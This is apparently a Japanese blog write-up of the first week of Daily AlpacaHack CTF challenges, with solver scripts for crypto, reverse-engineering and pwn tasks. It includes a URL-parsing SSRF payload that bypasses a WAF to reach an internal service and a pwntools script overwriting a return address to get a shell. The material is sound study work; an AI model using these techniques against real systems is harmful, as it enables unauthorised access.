# Daily AlpacaHack Week 1 (2025-12-01 〜 2025-12-07) ## 12/1: AlpacaHack 2100 (Misc, Welcome) URLのクエリが`?month=2025-12`のように`年-月`となっているので,`?month=2100-01`として遷移する. ## 12/2: a fact of CTF (Crypto, Easy) フラグの各文字を数値に変換し,それを指数として素数を累乗したものが出力されている. 解法としてはoutputが素数で何回割れるかを順々に計算すればよさそう. ```py import os import sys # flag = os.environ.get("FLAG", "not_a_flag") flag = "" # all prime numbers less than 300 primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293] # assert len(flag) <= len(primes) # ct = 1 # for i, c in enumerate(flag): # ct *= primes[i] ** (ord(c)) sys.set_int_max_str_digits(0) # 整数と文字列の変換桁数制限を解除 def solve(): with open('output.txt', 'r') as f: hex_string = f.read().strip() # ファイルからhex文字列を読み込む hex_string = hex_string.replace("0x", "") # "0x" を削除する ct = int(hex_string, 16) # 16進数として整数に変換する recovered_flag_chars = [] # 各素数について、ctに含まれるべき乗の回数を計算する for prime in primes: exponent = 0 # ctがprimeで割り切れる限り、割り続け、指数をカウントする while ct % prime == 0: ct //= prime # 整数除算 exponent += 1 if exponent > 0: recovered_flag_chars.append(chr(exponent)) # ctが1になったら、残りの素数は関係ないのでループを抜ける if ct == 1: break print("".join(recovered_flag_chars)) solve() # print(ct) ``` ## 12/3: Emojify (Web, Medium) 構成は, - `frontend`はポート`3000`で外部に公開,エンドポイント`api`がある - `backend`と`secret`は内部サービスであり、直接アクセスできない また,wafのチェックが入る. ```js const waf = (path) => { if (typeof path !== "string") throw new Error("Invalid types"); if (!path.startsWith("/")) throw new Error("Invalid 1"); if (!path.includes("emoji")) throw new Error("Invalid 2"); return path; }; ``` 条件を整理すると, 1. `path`が`/`で始まる 2. `path`に`emoji`という文字列が含まれる ヒントでMDNのドキュメントを活用するよう記載があり,`URL`コンストラクタの仕様を確認してみると,pathが`//`で始まる場合はbaseが上書きされるということが分かった. あとは末尾を調整し,実行URLは以下のようになった. `http://localhost:3000/api?path=//secret:1337/flag?d=emoji` ## 12/4: Leaked Flag Checker (Rev, Easy) `challenge.c`より入力文字列を7でXORしたものと`xor_flag`を比較している. 実行ファイルからそれっぽい箇所を探す. ```asm 0x555555555204 <main+27> movabs rax, 0x6b7c666466776b46 0x55555555520e <main+37> mov qword ptr [rbp - 0x3e], rax 0x555555555212 <main+41> movabs rax, 0x7a7e6c64726b7c 0x55555555521c <main+51> mov qword ptr [rbp - 0x38], rax 0x555555555220 <main+55> mov qword ptr [rbp - 0x48], 0xd ``` 書き込み位置が若干かぶっているが,メモリ上に構築される`xor_flag`は`Fkwfdf|krdl~z`となることがわかった.solverは以下のようになった. ```py encrypted_string = "Fkwfdf|krdl~z" key = 7 decrypted_string = "" for char in encrypted_string: decrypted_char = chr(ord(char) ^ key) decrypted_string += decrypted_char print(f"The flag is: {decrypted_string}") ``` ## 12/5: Integer Writer (Pwn, Hard) 入力として,`pos`と`val`を設定できる. `val`には`win`関数のアドレスにするとして,`pos`をどうするか悩んだ. 100以上ははじかれてしまうが,マイナス方向は制限されていない.1ずつすらして試したところ.`-6`でうまくいった. ```py from pwn import * # バイナリのコンテキストを設定すると、ELFオブジェクトから # シンボル(関数アドレスなど)を自動的に解決できる context.binary = elf = ELF('./chal') # ターゲットプログラムを起動 p = process('./chal') # ELFオブジェクトから 'win' 関数のアドレスを直接取得 # これにより、アドレスをハードコーディングする必要がなくなる win_addr = elf.symbols['win'] # scanfのリターンアドレスを上書きするためのオフセット pos_index = -6 # 1. posにオフセット(-6)を送信 p.sendlineafter(b'pos > ', str(pos_index).encode()) log.info(f"Sent pos: {pos_index}") # 2. valにwin()のアドレスを送信してリターンアドレスを上書き p.sendlineafter(b'val > ', str(win_addr).encode()) log.info(f"Sent val (win address): {hex(win_addr)}") # 3. 攻撃成功!シェルを操作する log.success("Got a shell!") p.interactive() ``` ## 12/6: simpleoverflow (Pwn, Easy) 入力を10文字以上与えると`is_admin`が書き換わり,フラグが得られた. ## 12/7: size limit (Crypto, Medium) 秘密鍵まで与えらているが,そのままでは復号できない. flagを数値化した平文`m`が法`N`よりも大きく,復号して得られるのは`m mod N`となってしまう. この復号結果を`m_recovered`として関係性を整理する.ある整数 `k` を用いて, `m = k * N + m_recovered` フラグのフォーマットは`TSGLIVE{...}`なので,これに合致するkを探す. AIに頼りつつsolverを書いた. ```py #!/usr/bin/python3 from Crypto.Util.number import long_to_bytes, bytes_to_long # Values from output.txt N = 65667982563395257456152578363358687414628050739860770903063206052667362178166666380390723634587933595241827767873104710537142458025201334420236653463444534018710274020834864080096247524541536313609304410859158429347482458882414275205742819080566766561312731091051276328620677195262137013588957713118640118673 e = 65537 c = 58443816925218320329602359198394095572237417576497896076618137604965419783093911328796166409276903249508047338019341719597113848471431947372873538253571717690982768328452282012361099369599755904288363602972252305949989677897650696581947849811037791349546750246816657184156675665729104603485387966759433211643 d = 14647215605104168233120807948419630020096019740227424951721591560155202409637919482865428659999792686501442518131270040719470657054982576354654918600616933355973824403026082055356501271036719280033851192012142309772828216012662939598631302504166489383155079998940570839539052860822636744356963005556392864865 # The message m was > N, so decryption gives m mod N m_recovered = pow(c, d, N) # The original message m_orig = k * N + m_recovered # We need to find k. The flag has a known format and length. FLAG_LEN = 131 PREFIX = b'TSGLIVE{' # Establish a search range for m_orig based on the prefix prefix_val = bytes_to_long(PREFIX) m_lower_bound = prefix_val * (256 ** (FLAG_LEN - len(PREFIX))) m_upper_bound = (prefix_val + 1) * (256 ** (FLAG_LEN - len(PREFIX))) # From that, establish a search range for k # k * N + m_recovered >= m_lower_bound => k * N >= m_lower_bound - m_recovered # k >= (m_lower_bound - m_recovered) / N k_lower_bound = (m_lower_bound - m_recovered) // N # k * N + m_recovered < m_upper_bound => k * N < m_upper_bound - m_recovered # k < (m_upper_bound - m_recovered) / N k_upper_bound = (m_upper_bound - m_recovered) // N # Search for the correct k for k in range(k_lower_bound, k_upper_bound + 2): # +2 for safety m_candidate = k * N + m_recovered # The flag length is 131. The bit length should not exceed 131*8 if m_candidate.bit_length() > FLAG_LEN * 8: continue flag_candidate = long_to_bytes(m_candidate, FLAG_LEN) if flag_candidate.startswith(PREFIX) and flag_candidate.endswith(b'}'): print(f"Found flag with k = {k}:") try: print(flag_candidate.decode('utf-8')) except UnicodeDecodeError: print(f"Could not decode flag: {flag_candidate}") break else: print("Flag not found in the calculated range of k.") print(f"Searched k from {k_lower_bound} to {k_upper_bound + 1}") ``` ## 感想 初週は「24時間以内に解く」ことを意識しすぎて,かなりAIに頼りきりになってしまった感がある. これを書いている時点ですでに3週間経っており,ところどころ解法を忘れている問題も出てきているので,やはり復習の大切さを実感した.